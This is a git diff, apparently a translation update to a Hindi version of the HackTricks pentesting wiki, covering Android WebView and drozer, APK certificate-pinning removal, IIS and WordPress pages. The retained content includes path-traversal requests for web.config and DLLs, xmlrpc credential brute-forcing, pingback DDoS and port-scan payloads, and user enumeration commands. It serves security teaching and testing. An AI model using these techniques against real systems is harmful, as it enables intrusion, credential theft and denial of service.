का समर्थन नहीं करता, जो XSS हमलों का परीक्षण करने के तरीके को प्रभावित करता है। - **WebChromeClient** पूर्ण Chrome ब्राउज़र अनुभव की तरह कार्य करता है। -एक महत्वपूर्ण बिंदु यह है कि WebView ब्राउज़र्स **कुकीज़** को डिवाइस के मुख्य ब्राउज़र के साथ **साझा नहीं करते**। +एक महत्वपूर्ण बिंदु यह है कि WebView ब्राउज़र **कुकीज़** को डिवाइस के मुख्य ब्राउज़र के साथ **साझा नहीं करते**। सामग्री लोड करने के लिए, `loadUrl`, `loadData`, और `loadDataWithBaseURL` जैसे तरीके उपलब्ध हैं। यह सुनिश्चित करना महत्वपूर्ण है कि ये URLs या फ़ाइलें **उपयोग के लिए सुरक्षित** हैं। सुरक्षा सेटिंग्स को `WebSettings` क्लास के माध्यम से प्रबंधित किया जा सकता है। उदाहरण के लिए, `setJavaScriptEnabled(false)` के साथ JavaScript को अक्षम करना XSS हमलों को रोक सकता है। -JavaScript "Bridge" Java ऑब्जेक्ट्स को JavaScript के साथ इंटरैक्ट करने की अनुमति देता है, जिसके लिए Android 4.2 से सुरक्षा के लिए विधियों को `@JavascriptInterface` के साथ चिह्नित करना आवश्यक है। +JavaScript "Bridge" Java ऑब्जेक्ट्स को JavaScript के साथ इंटरैक्ट करने की अनुमति देता है, जिसमें Android 4.2 से सुरक्षा के लिए विधियों को `@JavascriptInterface` के साथ चिह्नित करना आवश्यक है। सामग्री पहुंच की अनुमति देना (`setAllowContentAccess(true)`) WebViews को Content Providers तक पहुंचने की अनुमति देता है, जो एक जोखिम हो सकता है जब तक कि सामग्री URLs को सुरक्षित के रूप में सत्यापित नहीं किया जाता। @@ -346,7 +346,7 @@ JavaScript "Bridge" Java ऑब्जेक्ट्स को JavaScript के ### **Digital Signing of Applications** -- **Digital signing** एंड्रॉइड ऐप्स के लिए अनिवार्य है, यह सुनिश्चित करते हुए कि वे **प्रामाणिक रूप से लिखित** हैं। यह प्रक्रिया ऐप पहचान के लिए एक प्रमाणपत्र का उपयोग करती है और इसे इंस्टॉलेशन के समय डिवाइस के पैकेज प्रबंधक द्वारा सत्यापित किया जाना चाहिए। ऐप्स **स्वयं-हस्ताक्षरित या बाहरी CA द्वारा प्रमाणित** हो सकते हैं, जो अनधिकृत पहुंच से सुरक्षा प्रदान करते हैं और यह सुनिश्चित करते हैं कि ऐप डिवाइस पर डिलीवरी के दौरान बिना छेड़छाड़ के रहे। +- **Digital signing** एंड्रॉइड ऐप्स के लिए अनिवार्य है, यह सुनिश्चित करते हुए कि वे **प्रामाणिक रूप से लिखित** हैं। यह प्रक्रिया ऐप पहचान के लिए एक प्रमाणपत्र का उपयोग करती है और इसे इंस्टॉलेशन के समय डिवाइस के पैकेज प्रबंधक द्वारा सत्यापित किया जाना चाहिए। ऐप्स **स्वयं-हस्ताक्षरित या बाहरी CA द्वारा प्रमाणित** हो सकते हैं, जो अनधिकृत पहुंच से सुरक्षा प्रदान करते हैं और सुनिश्चित करते हैं कि ऐप डिवाइस पर डिलीवरी के दौरान बिना छेड़छाड़ के रहे। ### **App Verification for Enhanced Security** diff --git a/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md b/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md index b8695a998..731164f13 100644 --- a/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md +++ b/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md @@ -40,21 +40,21 @@ drozer console connect | **Commands** | **Description** | | --------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------ | | **Help MODULE** | चयनित मॉड्यूल की मदद दिखाता है | -| **list** | वर्तमान सत्र में निष्पादित किए जा सकने वाले सभी drozer मॉड्यूल की सूची दिखाता है। यह उन मॉड्यूल को छिपाता है जिनके लिए आपके पास उचित अनुमति नहीं है। | +| **list** | वर्तमान सत्र में निष्पादित किए जा सकने वाले सभी drozer मॉड्यूल की सूची दिखाता है। यह उन मॉड्यूल को छुपाता है जिनके लिए आपके पास उचित अनुमतियाँ नहीं हैं। | | **shell** | एजेंट के संदर्भ में डिवाइस पर एक इंटरैक्टिव लिनक्स शेल शुरू करें। | | **clean** | एंड्रॉइड डिवाइस पर drozer द्वारा संग्रहीत अस्थायी फ़ाइलें हटा दें। | -| **load** | एक फ़ाइल लोड करें जिसमें drozer कमांड होते हैं और उन्हें अनुक्रम में निष्पादित करें। | +| **load** | drozer कमांड वाले फ़ाइल को लोड करें और उन्हें अनुक्रम में निष्पादित करें। | | **module** | इंटरनेट से अतिरिक्त drozer मॉड्यूल खोजें और स्थापित करें। | | **unset** | एक नामित चर को हटा दें जिसे drozer किसी भी लिनक्स शेल में पास करता है जिसे यह उत्पन्न करता है। | | **set** | एक मान को एक चर में संग्रहीत करें जिसे drozer द्वारा उत्पन्न किसी भी लिनक्स शेल में पर्यावरणीय चर के रूप में पास किया जाएगा। | | **shell** | एजेंट के संदर्भ में डिवाइस पर एक इंटरैक्टिव लिनक्स शेल शुरू करें। | | **run MODULE** | एक drozer मॉड्यूल निष्पादित करें | -| **exploit** | Drozer निर्णय में निष्पादित करने के लिए शोषण बना सकता है। `drozer exploit list` | -| **payload** | शोषण के लिए एक पेलोड की आवश्यकता होती है। `drozer payload list` | +| **exploit** | Drozer निर्णय में निष्पादित करने के लिए एक्सप्लॉइट बना सकता है। `drozer exploit list` | +| **payload** | एक्सप्लॉइट को एक पेलोड की आवश्यकता होती है। `drozer payload list` | ### Package -**नाम** खोजें जो नाम के भाग द्वारा फ़िल्टर किया गया है: +**नाम** खोजें पैकेज का नाम के भाग द्वारा फ़िल्टर करते हुए: ```bash dz> run app.package.list -f sieve com.mwr.example.sieve @@ -93,7 +93,7 @@ Attack Surface: 2 services exported is debuggable ``` -- **Activities**: शायद आप एक गतिविधि शुरू कर सकते हैं और कुछ प्रकार की प्राधिकरण को बायपास कर सकते हैं जो आपको इसे लॉन्च करने से रोकनी चाहिए। +- **Activities**: शायद आप एक गतिविधि शुरू कर सकते हैं और किसी प्रकार की प्राधिकरण को बायपास कर सकते हैं जो आपको इसे लॉन्च करने से रोकनी चाहिए। - **Content providers**: शायद आप निजी डेटा तक पहुँच सकते हैं या कुछ कमजोरियों (SQL Injection या Path Traversal) का लाभ उठा सकते हैं। - **Services**: - **is debuggable**: [Learn more](#is-debuggeable) @@ -101,7 +101,7 @@ is debuggable ### Activities An exported activity component’s “android:exported” value is set to **“true”** in the AndroidManifest.xml file: -```markup +```html ``` @@ -113,7 +113,7 @@ com.mwr.example.sieve.FileSelectActivity com.mwr.example.sieve.MainLoginActivity com.mwr.example.sieve.PWList ``` -**गतिविधि शुरू करें**: +**Start activity**: शायद आप एक गतिविधि शुरू कर सकते हैं और कुछ प्रकार की प्राधिकरण को बायपास कर सकते हैं जो आपको इसे लॉन्च करने से रोकनी चाहिए। ```bash @@ -133,7 +133,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity ### सेवाएँ एक निर्यातित सेवा Manifest.xml के अंदर घोषित की जाती है: -```markup +```html ``` कोड के अंदर **check** करें कि \*\*`handleMessage`\*\* फ़ंक्शन **receive** करेगा **message**: @@ -161,10 +161,10 @@ Take a look to the **drozer** help for `app.service.send`: ![](<../../../images/image (1079).png>) -ध्यान दें कि आप पहले "_msg.what_" के अंदर डेटा भेजेंगे, फिर "_msg.arg1_" और "_msg.arg2_"। आपको कोड के अंदर **कौन सी जानकारी का उपयोग किया जा रहा है** और कहाँ यह जांचना चाहिए।\ -`--extra` विकल्प का उपयोग करके आप "_msg.replyTo_" द्वारा व्याख्यायित कुछ भेज सकते हैं, और `--bundle-as-obj` का उपयोग करके आप प्रदान किए गए विवरणों के साथ एक ऑब्जेक्ट बनाते हैं। +Note that you will be sending first the data inside "_msg.what_", then "_msg.arg1_" and "_msg.arg2_", you should check inside the code **which information is being used** and where.\ +Using the `--extra` option you can send something interpreted by "_msg.replyTo"_, and using `--bundle-as-obj` you create and object with the provided details. -निम्नलिखित उदाहरण में: +In the following example: - `what == 2354` - `arg1 == 9234` @@ -206,7 +206,7 @@ Permission: null com.google.android.apps.youtube.app.application.system.LocaleUpdatedReceiver Permission: null ``` -#### ब्रॉडकास्ट **इंटरैक्शन** +#### Broadcast **Interactions** ```bash app.broadcast.info Get information about broadcast receivers app.broadcast.send Send broadcast using an intent diff --git a/src/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md b/src/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md index b9aa3166e..e53fe1ecb 100644 --- a/src/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md +++ b/src/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md @@ -4,7 +4,7 @@ # स्वचालित -उपकरण [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) आवश्यक परिवर्तनों को **स्वचालित** रूप से एप्लिकेशन में करेगा ताकि अनुरोधों को कैप्चर करना शुरू किया जा सके और यह प्रमाणपत्र पिनिंग को भी अक्षम करेगा (यदि कोई हो)। +उपकरण [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) आवश्यक परिवर्तनों को **स्वचालित** रूप से एप्लिकेशन में करेगा ताकि अनुरोधों को कैप्चर करना शुरू किया जा सके और यह प्रमाणपत्र पिनिंग को भी अक्षम कर देगा (यदि कोई हो)। # मैनुअल @@ -24,8 +24,8 @@ ![](../../images/img11.png) -अब **res/xml** फ़ोल्डर में जाएं और network_security_config.xml नाम की एक फ़ाइल बनाएं/संशोधित करें जिसमें निम्नलिखित सामग्री हो: -```markup +अब **res/xml** फ़ोल्डर में जाएं और network_security_config.xml नाम की फ़ाइल बनाएं/संशोधित करें जिसमें निम्नलिखित सामग्री हो: +```html @@ -41,6 +41,6 @@ ![](../../images/img12.png) -अंत में, आपको बस **नई एप्लिकेशन पर हस्ताक्षर करना** है। [इसे साइन करने के तरीके के लिए इस पृष्ठ के अनुभाग को पढ़ें Smali - Decompiling/\[Modifying\]/Compiling](smali-changes.md#sing-the-new-apk). +अंत में, आपको बस **नई एप्लिकेशन पर हस्ताक्षर करना** है। [हस्ताक्षर करने के लिए इस पृष्ठ के अनुभाग को पढ़ें Smali - Decompiling/\[Modifying\]/Compiling](smali-changes.md#sing-the-new-apk)। {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md b/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md index fed3515a6..cc68c2825 100644 --- a/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md +++ b/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md @@ -35,7 +35,7 @@ X-FEServer: NHEXCHANGE2016 ## IIS Discovery Bruteforce -डाउनलोड करें सूची जो मैंने बनाई है: +मैंने जो सूची बनाई है उसे डाउनलोड करें: {{#file}} iisfinal.txt @@ -59,8 +59,8 @@ iisfinal.txt पूर्ण लेखन की जांच करें: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html) > [!NOTE] -> संक्षेप में, एप्लिकेशन के फ़ोल्डरों के अंदर कई web.config फ़ाइलें हैं जिनमें "**assemblyIdentity**" फ़ाइलों और "**namespaces**" के संदर्भ हैं। इस जानकारी के साथ यह जानना संभव है **executables कहां स्थित हैं** और उन्हें डाउनलोड करें।\ -> **डाउनलोड की गई Dlls** से यह भी संभव है **नए namespaces** खोजने के लिए जहां आपको पहुंचने का प्रयास करना चाहिए और web.config फ़ाइल प्राप्त करनी चाहिए ताकि नए namespaces और assemblyIdentity मिल सकें।\ +> संक्षेप में, एप्लिकेशन के फ़ोल्डरों के अंदर कई web.config फ़ाइलें हैं जिनमें "**assemblyIdentity**" फ़ाइलों और "**namespaces**" के संदर्भ हैं। इस जानकारी से यह जानना संभव है कि **executables कहां स्थित हैं** और उन्हें डाउनलोड करें।\ +> **डाउनलोड की गई Dlls** से यह भी संभव है कि **नए namespaces** खोजें जहां आपको पहुंचने का प्रयास करना चाहिए और web.config फ़ाइल प्राप्त करनी चाहिए ताकि नए namespaces और assemblyIdentity मिल सकें।\ > इसके अलावा, फ़ाइलें **connectionstrings.config** और **global.asax** दिलचस्प जानकारी रख सकती हैं। **.Net MVC applications** में, **web.config** फ़ाइल एक महत्वपूर्ण भूमिका निभाती है, जो प्रत्येक बाइनरी फ़ाइल को निर्दिष्ट करती है जिस पर एप्लिकेशन निर्भर करता है **"assemblyIdentity"** XML टैग के माध्यम से। @@ -68,35 +68,35 @@ iisfinal.txt ### **Exploring Binary Files** **web.config** फ़ाइल तक पहुंचने का एक उदाहरण नीचे दिखाया गया है: -```markup +```html GET /download_page?id=..%2f..%2fweb.config HTTP/1.1 Host: example-mvc-application.minded ``` यह अनुरोध विभिन्न सेटिंग्स और निर्भरताओं को प्रकट करता है, जैसे: - **EntityFramework** संस्करण -- **AppSettings** वेबपृष्ठों, क्लाइंट सत्यापन, और JavaScript के लिए +- **AppSettings** वेबपृष्ठों, क्लाइंट सत्यापन और JavaScript के लिए - **System.web** प्रमाणीकरण और रनटाइम के लिए कॉन्फ़िगरेशन - **System.webServer** मॉड्यूल सेटिंग्स - **Runtime** असेंबली बाइंडिंग्स कई पुस्तकालयों के लिए जैसे **Microsoft.Owin**, **Newtonsoft.Json**, और **System.Web.Mvc** -ये सेटिंग्स यह संकेत देती हैं कि कुछ फ़ाइलें, जैसे **/bin/WebGrease.dll**, एप्लिकेशन के /bin फ़ोल्डर के भीतर स्थित हैं। +ये सेटिंग्स यह संकेत देती हैं कि कुछ फ़ाइलें, जैसे **/bin/WebGrease.dll**, अनुप्रयोग के /bin फ़ोल्डर के भीतर स्थित हैं। -### **रूट डायरेक्टरी फ़ाइलें** +### **रूट निर्देशिका फ़ाइलें** -रूट डायरेक्टरी में पाई जाने वाली फ़ाइलें, जैसे **/global.asax** और **/connectionstrings.config** (जो संवेदनशील पासवर्ड रखती हैं), एप्लिकेशन की कॉन्फ़िगरेशन और संचालन के लिए आवश्यक हैं। +रूट निर्देशिका में पाई जाने वाली फ़ाइलें, जैसे **/global.asax** और **/connectionstrings.config** (जो संवेदनशील पासवर्ड रखती है), अनुप्रयोग की कॉन्फ़िगरेशन और संचालन के लिए आवश्यक हैं। ### **Namespaces और Web.Config** -MVC एप्लिकेशन विशिष्ट namespaces के लिए अतिरिक्त **web.config फ़ाइलें** भी परिभाषित करते हैं ताकि प्रत्येक फ़ाइल में दोहरावदार घोषणाओं से बचा जा सके, जैसा कि एक अन्य **web.config** डाउनलोड करने के अनुरोध के साथ प्रदर्शित किया गया है: -```markup +MVC अनुप्रयोग भी विशिष्ट namespaces के लिए अतिरिक्त **web.config फ़ाइलें** परिभाषित करते हैं ताकि प्रत्येक फ़ाइल में दोहरावदार घोषणाओं से बचा जा सके, जैसा कि एक अन्य **web.config** डाउनलोड करने के अनुरोध के साथ प्रदर्शित किया गया है: +```html GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1 Host: example-mvc-application.minded ``` ### **DLLs डाउनलोड करना** कस्टम नामस्थान का उल्लेख "/bin" निर्देशिका में मौजूद "**WebApplication1**" नामक DLL की ओर इशारा करता है। इसके बाद, **WebApplication1.dll** डाउनलोड करने के लिए एक अनुरोध दिखाया गया है: -```markup +```html GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1 Host: example-mvc-application.minded ``` @@ -187,7 +187,7 @@ C:\xampp\tomcat\conf\server.xml यदि आप निम्नलिखित त्रुटि देखते हैं: -![](<../../images/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>) +![](<../../images/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>) इसका मतलब है कि सर्वर ने **Host header** के अंदर सही डोमेन नाम **नहीं प्राप्त किया**।\ वेब पृष्ठ तक पहुँचने के लिए, आप सर्वर द्वारा प्रदत्त **SSL Certificate** को देख सकते हैं और शायद आप वहां डोमेन/सबडोमेन नाम पा सकते हैं। यदि यह वहाँ नहीं है, तो आपको सही एक को खोजने के लिए **VHosts** का **brute force** करना पड़ सकता है। @@ -241,7 +241,7 @@ ASPXAUTH निम्नलिखित जानकारी का उपय ## IIS Authentication Bypass with cached passwords (CVE-2022-30209) -[Full report here](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): कोड में एक बग **उपयोगकर्ता द्वारा दिए गए पासवर्ड की सही जांच नहीं करता**, इसलिए एक हमलावर जिसका **पासवर्ड हैश एक कुंजी पर हिट करता है** जो पहले से ही **cache** में है, वह उस उपयोगकर्ता के रूप में लॉगिन करने में सक्षम होगा। +[Full report here](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): कोड में एक बग **उपयोगकर्ता द्वारा दिए गए पासवर्ड की सही जांच नहीं करता**, इसलिए एक हमलावर जिसका **पासवर्ड हैश एक कुंजी** पर हिट करता है जो पहले से ही **cache** में है, वह उस उपयोगकर्ता के रूप में लॉगिन करने में सक्षम होगा। ```python # script for sanity check > type test.py diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index 53019d623..bd47200b7 100644 --- a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -5,48 +5,48 @@ ## Basic Information - **Uploaded** files go to: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` -- **Themes files can be found in /wp-content/themes/,** so if you change some php of the theme to get RCE you probably will use that path. For example: Using **theme twentytwelve** you can **access** the **404.php** file in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +- **Themes files can be found in /wp-content/themes/,** इसलिए यदि आप RCE प्राप्त करने के लिए थीम के कुछ php को बदलते हैं, तो आप शायद उस पथ का उपयोग करेंगे। उदाहरण के लिए: **थीम twentytwelve** का उपयोग करते हुए आप **404.php** फ़ाइल तक **पहुँच** सकते हैं: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) -- **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +- **एक और उपयोगी यूआरएल हो सकता है:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) -- In **wp-config.php** you can find the root password of the database. -- Default login paths to check: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ +- **wp-config.php** में आप डेटाबेस का रूट पासवर्ड पा सकते हैं। +- जांचने के लिए डिफ़ॉल्ट लॉगिन पथ: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ ### **Main WordPress Files** - `index.php` -- `license.txt` contains useful information such as the version WordPress installed. -- `wp-activate.php` is used for the email activation process when setting up a new WordPress site. -- Login folders (may be renamed to hide it): +- `license.txt` में उपयोगी जानकारी होती है जैसे कि स्थापित WordPress का संस्करण। +- `wp-activate.php` नए WordPress साइट सेटअप करते समय ईमेल सक्रियण प्रक्रिया के लिए उपयोग किया जाता है। +- लॉगिन फ़ोल्डर (छिपाने के लिए नाम बदल सकते हैं): - `/wp-admin/login.php` - `/wp-admin/wp-login.php` - `/login.php` - `/wp-login.php` -- `xmlrpc.php` is a file that represents a feature of WordPress that enables data to be transmitted with HTTP acting as the transport mechanism and XML as the encoding mechanism. This type of communication has been replaced by the WordPress [REST API](https://developer.wordpress.org/rest-api/reference). -- The `wp-content` folder is the main directory where plugins and themes are stored. -- `wp-content/uploads/` Is the directory where any files uploaded to the platform are stored. -- `wp-includes/` This is the directory where core files are stored, such as certificates, fonts, JavaScript files, and widgets. -- `wp-sitemap.xml` In Wordpress versions 5.5 and greater, Worpress generates a sitemap XML file with all public posts and publicly queryable post types and taxonomies. +- `xmlrpc.php` एक फ़ाइल है जो WordPress की एक विशेषता का प्रतिनिधित्व करती है जो डेटा को HTTP के माध्यम से संचारित करने की अनुमति देती है, जो परिवहन तंत्र के रूप में कार्य करता है और XML को एन्कोडिंग तंत्र के रूप में। इस प्रकार की संचार को WordPress [REST API](https://developer.wordpress.org/rest-api/reference) द्वारा प्रतिस्थापित किया गया है। +- `wp-content` फ़ोल्डर मुख्य निर्देशिका है जहाँ प्लगइन्स और थीम संग्रहीत होते हैं। +- `wp-content/uploads/` वह निर्देशिका है जहाँ प्लेटफ़ॉर्म पर अपलोड की गई कोई भी फ़ाइलें संग्रहीत होती हैं। +- `wp-includes/` यह वह निर्देशिका है जहाँ कोर फ़ाइलें संग्रहीत होती हैं, जैसे कि प्रमाणपत्र, फ़ॉन्ट, जावास्क्रिप्ट फ़ाइलें, और विजेट। +- `wp-sitemap.xml` WordPress संस्करण 5.5 और उससे अधिक में, WordPress सभी सार्वजनिक पोस्ट और सार्वजनिक रूप से क्वेरी करने योग्य पोस्ट प्रकारों और वर्गीकरणों के साथ एक साइटमैप XML फ़ाइल उत्पन्न करता है। **Post exploitation** -- The `wp-config.php` file contains information required by WordPress to connect to the database such as the database name, database host, username and password, authentication keys and salts, and the database table prefix. This configuration file can also be used to activate DEBUG mode, which can useful in troubleshooting. +- `wp-config.php` फ़ाइल में डेटाबेस से कनेक्ट करने के लिए WordPress द्वारा आवश्यक जानकारी होती है जैसे कि डेटाबेस का नाम, डेटाबेस होस्ट, उपयोगकर्ता नाम और पासवर्ड, प्रमाणीकरण कुंजी और नमक, और डेटाबेस तालिका उपसर्ग। इस कॉन्फ़िगरेशन फ़ाइल का उपयोग DEBUG मोड को सक्रिय करने के लिए भी किया जा सकता है, जो समस्या निवारण में सहायक हो सकता है। ### Users Permissions - **Administrator** -- **Editor**: Publish and manages his and others posts -- **Author**: Publish and manage his own posts -- **Contributor**: Write and manage his posts but cannot publish them -- **Subscriber**: Browser posts and edit their profile +- **Editor**: अपने और दूसरों के पोस्ट प्रकाशित और प्रबंधित करता है +- **Author**: अपने स्वयं के पोस्ट प्रकाशित और प्रबंधित करता है +- **Contributor**: अपने पोस्ट लिखता और प्रबंधित करता है लेकिन उन्हें प्रकाशित नहीं कर सकता +- **Subscriber**: पोस्ट ब्राउज़ करता है और अपने प्रोफ़ाइल को संपादित करता है ## **Passive Enumeration** ### **Get WordPress version** -Check if you can find the files `/license.txt` or `/readme.html` +जांचें कि क्या आप फ़ाइलें `/license.txt` या `/readme.html` पा सकते हैं -Inside the **source code** of the page (example from [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)): +पृष्ठ के **स्रोत कोड** के अंदर (उदाहरण [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/) से): - grep ```bash @@ -72,20 +72,20 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp ```bash curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` -### सामान्य में संस्करण निकालें +### सामान्य रूप से संस्करण निकालें ```bash curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` -## Active enumeration +## सक्रिय सूचीकरण -### Plugins and Themes +### प्लगइन्स और थीम -आप शायद सभी Plugins और Themes नहीं ढूंढ पाएंगे। सभी को खोजने के लिए, आपको **Plugins और Themes की एक सूची पर सक्रिय रूप से Brute Force** करना होगा (हमारे लिए उम्मीद है कि इस सूची को शामिल करने वाले स्वचालित उपकरण हैं)। +आप शायद सभी संभावित प्लगइन्स और थीम नहीं ढूंढ पाएंगे। सभी को खोजने के लिए, आपको **प्लगइन्स और थीम की सूची पर सक्रिय रूप से ब्रूट फोर्स करना होगा** (हमारे लिए उम्मीद है कि इस सूची को शामिल करने वाले स्वचालित उपकरण हैं)। -### Users +### उपयोगकर्ता -- **ID Brute:** आप Brute Forcing उपयोगकर्ताओं के IDs द्वारा एक WordPress साइट से मान्य उपयोगकर्ता प्राप्त करते हैं: +- **आईडी ब्रूट:** आप ब्रूट फोर्सिंग उपयोगकर्ता आईडी के माध्यम से एक वर्डप्रेस साइट से मान्य उपयोगकर्ता प्राप्त करते हैं: ```bash curl -s -I -X GET http://blog.example.com/?author=1 ``` @@ -109,10 +109,10 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL यदि `xml-rpc.php` सक्रिय है तो आप क्रेडेंशियल्स ब्रूट-फोर्स कर सकते हैं या इसका उपयोग अन्य संसाधनों पर DoS हमले शुरू करने के लिए कर सकते हैं। (आप इस प्रक्रिया को स्वचालित कर सकते हैं[ इसका उपयोग करके](https://github.com/relarizky/wpxploit) उदाहरण के लिए)। -यह देखने के लिए कि क्या यह सक्रिय है, _**/xmlrpc.php**_ पर पहुँचने की कोशिश करें और यह अनुरोध भेजें: +यह देखने के लिए कि क्या यह सक्रिय है, _**/xmlrpc.php**_ पर पहुंचने का प्रयास करें और यह अनुरोध भेजें: **जांचें** -```markup +```html system.listMethods @@ -122,8 +122,8 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL **क्रेडेंशियल्स ब्रूटफोर्स** -**`wp.getUserBlogs`**, **`wp.getCategories`** या **`metaWeblog.getUsersBlogs`** कुछ ऐसे तरीके हैं जिनका उपयोग क्रेडेंशियल्स को ब्रूट-फोर्स करने के लिए किया जा सकता है। यदि आप इनमें से कोई भी ढूंढ सकते हैं, तो आप कुछ इस तरह भेज सकते हैं: -```markup +**`wp.getUserBlogs`**, **`wp.getCategories`** या **`metaWeblog.getUsersBlogs`** कुछ ऐसे तरीके हैं जिनका उपयोग क्रेडेंशियल्स को ब्रूट-फोर्स करने के लिए किया जा सकता है। यदि आप इनमें से कोई भी खोज सकते हैं, तो आप कुछ इस तरह भेज सकते हैं: +```html wp.getUsersBlogs @@ -139,7 +139,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ![](<../../images/image (721).png>) सही क्रेडेंशियल का उपयोग करके आप एक फ़ाइल अपलोड कर सकते हैं। प्रतिक्रिया में पथ दिखाई देगा ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982)) -```markup +```html wp.uploadFile @@ -174,13 +174,13 @@ Also there is a **faster way** to brute-force credentials using **`system.multic **2FA को बायपास करें** -यह विधि कार्यक्रमों के लिए है और मनुष्यों के लिए नहीं, और पुरानी है, इसलिए यह 2FA का समर्थन नहीं करती। इसलिए, यदि आपके पास मान्य क्रेडेंशियल हैं लेकिन मुख्य प्रवेश 2FA द्वारा सुरक्षित है, **तो आप xmlrpc.php का दुरुपयोग करके उन क्रेडेंशियल के साथ 2FA को बायपास करके लॉगिन करने में सक्षम हो सकते हैं**। ध्यान दें कि आप कंसोल के माध्यम से किए जा सकने वाले सभी कार्य नहीं कर पाएंगे, लेकिन आप अभी भी RCE तक पहुँचने में सक्षम हो सकते हैं जैसा कि Ippsec ने [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) में समझाया है। +यह विधि कार्यक्रमों के लिए है और मनुष्यों के लिए नहीं, और पुरानी है, इसलिए यह 2FA का समर्थन नहीं करती। इसलिए, यदि आपके पास मान्य क्रेडेंशियल हैं लेकिन मुख्य प्रवेश 2FA द्वारा सुरक्षित है, **तो आप xmlrpc.php का दुरुपयोग करके उन क्रेडेंशियल के साथ 2FA को बायपास करके लॉगिन करने में सक्षम हो सकते हैं**। ध्यान दें कि आप कंसोल के माध्यम से किए जा सकने वाले सभी कार्यों को करने में सक्षम नहीं होंगे, लेकिन आप अभी भी RCE तक पहुँचने में सक्षम हो सकते हैं जैसा कि Ippsec ने [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) में समझाया है। **DDoS या पोर्ट स्कैनिंग** -यदि आप सूची में _**pingback.ping**_ विधि पा सकते हैं तो आप Wordpress को किसी भी होस्ट/पोर्ट पर मनमाना अनुरोध भेजने के लिए बना सकते हैं।\ -इसका उपयोग **हजारों** Wordpress **साइटों** से **एक** **स्थान** (तो उस स्थान पर **DDoS** उत्पन्न होता है) तक **पहुँचने** के लिए किया जा सकता है या आप इसका उपयोग **Wordpress** को कुछ आंतरिक **नेटवर्क** को **स्कैन** करने के लिए कर सकते हैं (आप किसी भी पोर्ट को निर्दिष्ट कर सकते हैं)। -```markup +यदि आप सूची के अंदर _**pingback.ping**_ विधि पा सकते हैं तो आप Wordpress को किसी भी होस्ट/पोर्ट पर मनमाना अनुरोध भेजने के लिए बना सकते हैं।\ +इसका उपयोग **हजारों** Wordpress **साइटों** से **एक स्थान** (तो उस स्थान पर **DDoS** उत्पन्न होता है) तक **पहुँचने** के लिए किया जा सकता है या आप इसका उपयोग **Wordpress** को कुछ आंतरिक **नेटवर्क** को **स्कैन** करने के लिए कर सकते हैं (आप किसी भी पोर्ट को निर्दिष्ट कर सकते हैं)। +```html pingback.ping @@ -191,12 +191,12 @@ Also there is a **faster way** to brute-force credentials using **`system.multic ``` ![](../../images/1_JaUYIZF8ZjDGGB7ocsZC-g.png) 